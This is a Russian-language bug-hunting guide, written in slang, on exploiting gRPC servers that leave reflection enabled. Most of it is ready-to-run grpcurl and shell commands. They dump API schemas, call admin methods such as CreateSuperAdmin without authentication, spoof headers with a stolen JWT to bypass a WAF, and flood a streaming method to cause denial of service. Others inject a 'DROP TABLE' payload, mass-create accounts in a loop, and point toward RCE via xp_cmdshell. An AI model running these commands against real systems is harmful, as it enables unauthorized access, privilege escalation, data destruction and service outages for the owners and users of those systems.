Окей, слушай, бро. gRPC Reflection — это когда девелоперы настолько добрые (читай: ленивые), что оставляют включенным служебный endpoint, который сливает ВЕСЬ API schema — каждый метод, каждый параметр, каждую структурку данных. Представь, что ты нашёл swagger.json на проде, но только для grpc и без авторизации. Это золотая жила для багхантера, потому что теперь ты знаешь, какие приватные админские методы спрятаны в недрах бэкенда.
Точка входа
Что вижу: gRPC-сервер с открытым reflection API на стандартном порту (обычно 443/TLS или 80/plaintext). Чаще всего это микросервисы в k8s, где reflection оставили “для дебага”, а потом забыли выключить.
Как поймал:
1 |
grpcurl -plaintext target.com:50051 list |
Если в ответ прилетел список сервисов типа grpc.reflection.v1alpha.ServerReflection
, myapp.AdminService
, myapp.InternalAPI
— поздравляю, ты в деле.
Альтернатива для тех, кто любит automation:
1 2 |
# Через Docker, если лень ставить локально docker run fullstorydev/grpcurl:latest -plaintext target.com:50051 list |
Чем пахнет: Это IDOR на стероидах + Information Disclosure 8/10. Если reflection включен на публичном API — это прямой путь к вызову непубличных методов типа DeleteAllUsers
, PromoteToAdmin
, DumpDatabase
.
Че почем
Дамп всей схемы
Эксплойт 1: Сливаем весь protobuf-schema
1 2 3 4 5 6 7 8 |
# Листим все сервисы grpcurl -plaintext target.com:50051 list # Для каждого сервиса дампим описание методов grpcurl -plaintext target.com:50051 describe myapp.AdminService # Экспортируем в .protoset файл (это compiled descriptors) grpcurl -plaintext -protoset-out "loot.protoset" target.com:50051 describe myapp.AdminService |
Теперь у тебя весь schema в бинарнике — можешь парсить, искать уязвимые endpoints, строить граф зависимостей методов.
Эксплойт 2: Вызываем “приватный” метод без аутентификации
Допустим, ты нашёл метод myapp.AdminService/CreateSuperAdmin
. Проверяем:
1 2 |
grpcurl -plaintext -d '{"username": "h4x0r", "role": "admin"}' \ target.com:50051 myapp.AdminService/CreateSuperAdmin |
Если ответ не Unauthenticated
или PermissionDenied
, а OK
— значит, авторизация проёбана на уровне архитектуры.
Эксплойт 3: Bypass WAF через metadata-smuggling
Многие WAF’ы не умеют парсить gRPC metadata (аналог HTTP headers). Пробуем:
1 2 3 4 5 6 |
grpcurl -plaintext \ -H 'x-forwarded-for: 127.0.0.1' \ -H 'x-original-ip: 10.0.0.1' \ -H 'authorization: Bearer STOLEN_JWT' \ -d '{"user_id": "1"}' \ target.com:50051 myapp.UserService/GetPrivateData |
Если сервер читает metadata без валидации источника — привет, SSRF + Privilege Escalation.
Обход защиты
Трюк 1: Если reflection заблокирован, но порт открыт
Некоторые админы отключают reflection, но забывают про compiled protoset’ы в CI/CD артефактах или репах. Ищи:
1 2 3 4 5 6 7 8 |
# GitHub Dorking site:github.com "*.protoset" OR "descriptor_set_out" company_name # Или ищи .proto файлы и компилируй сам protoc --proto_path=. \ --descriptor_set_out=myservice.protoset \ --include_imports \ stolen_service.proto |
Потом используешь protoset с grpcurl через флаг -protoset
.
Трюк 2: Bi-directional streaming для DOS
Если нашёл метод с streaming (например, stream UploadFiles
), можешь завалить сервер:
1 2 |
# Отправляем бесконечный поток пустых сообщений while true; do echo '{}'; done | grpcurl -d @ -plaintext target.com:50051 myapp.FileService/UploadFiles |
Это как SlowLoris, но для gRPC — сервер будет держать соединения, пока не упадёт по OOM.
Трюк 3: Poisoning через JSON-injection в metadata
gRPC преобразует JSON в protobuf. Если есть поле типа google.protobuf.Any
или google.protobuf.Struct
, пробуй инъекции:
1 2 3 4 5 6 |
grpcurl -plaintext -d '{ "metadata": { "@type": "type.googleapis.com/google.protobuf.StringValue", "value": "\"; DROP TABLE users; --" } }' target.com:50051 myapp.LogService/WriteLog |
Если бэкенд тупо десериализует и пихает в SQL/NoSQL без санитизации — SQLi/NoSQLi в кармане.
Доказательство
Типичный output успешного эксплойта:
1 2 3 4 5 6 7 8 9 |
{ "status": "success", "user": { "id": "1337", "username": "h4x0r", "role": "SUPER_ADMIN" }, "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." } |
Если видишь "role": "SUPER_ADMIN"
после вызова случайного метода — скриншоть это и готовь отчёт на $5k+ bounty.
Советы
3 вектора для добивания
1. Проверь /etc/grpc/
и environment variables: Многие сервисы логируют reflection state в GRPC_VERBOSITY=debug
. Если есть RCE/LFI — ищи логи с полным schema дампом.
2. Fuzzing методов через wordlists: Даже если reflection выключен, bruteforce имён методов:
1 2 3 4 |
# Wordlist: AdminService, InternalAPI, DebugService, HealthCheck... for service in $(cat grpc_services.txt); do grpcurl -plaintext target.com:50051 list $service 2>&1 | grep -v "unknown" done |
3. Ищи gRPC Gateway: Если есть HTTP→gRPC прокси (gRPC Gateway), то reflection может быть доступен через REST endpoint:
1 2 3 |
curl http://target.com:8080/v1/services # Или через swagger UI curl http://target.com:8080/swagger.json |
3. Там может быть тот же schema, что и в reflection, но уже в OpenAPI формате.
План атаки (если зацепка есть)
1. Сканируем порты: nmap -sV -p 50051,443,8080,9090 target.com
— ищем gRPC endpoints (часто видно по HTTP/2 и content-type: application/grpc
).
2. Дампим schema: grpcurl -plaintext target.com:50051 list > services.txt
→ для каждого сервиса делаем describe
→ сохраняем в protoset.
3. Ищем dangerous методы: Grep по keywords: Delete
, Admin
, Internal
, Debug
, Migrate
, Execute
, Eval
.
4. Тестируем без auth: Вызываем каждый подозрительный метод с минимальным payload: {"id": 1}
, {"username": "test"}
. Если метод отрабатывает — смотрим, что можно изменить.
5. Эскалация: Если есть CreateUser
+ отсутствие rate-limit — автоматизируем через цикл:
1 2 3 |
for i in {1..1000}; do grpcurl -plaintext -d "{\"username\": \"bot$i\"}" target.com:50051 myapp.UserService/CreateUser & done |
Это либо DOS, либо account takeover через race condition.
6. Profit: Если нашёл метод типа ExecuteQuery(sql: string)
— это прямой путь к RCE через SQL injection → xp_cmdshell (MSSQL) или UDF (MySQL/Postgres).
Бонусный лайфхак: Если видишь в reflection метод grpc.health.v1.Health/Check
— это дефолтный health-check. Часто через него можно достучаться до внутренних сервисов через SSRF, указав в metadata authority: internal-service.cluster.local:50051
.
Если всё плохо: Reflection закрыт, proto файлов нет, fuzzing не даёт результатов — ищи GraphQL/REST endpoints, которые проксируют запросы в gRPC. Там может быть та же уязвимость, но через другой entry point. Или иди учить Rust, бро — может, там хоть RAII спасёт от твоих страданий.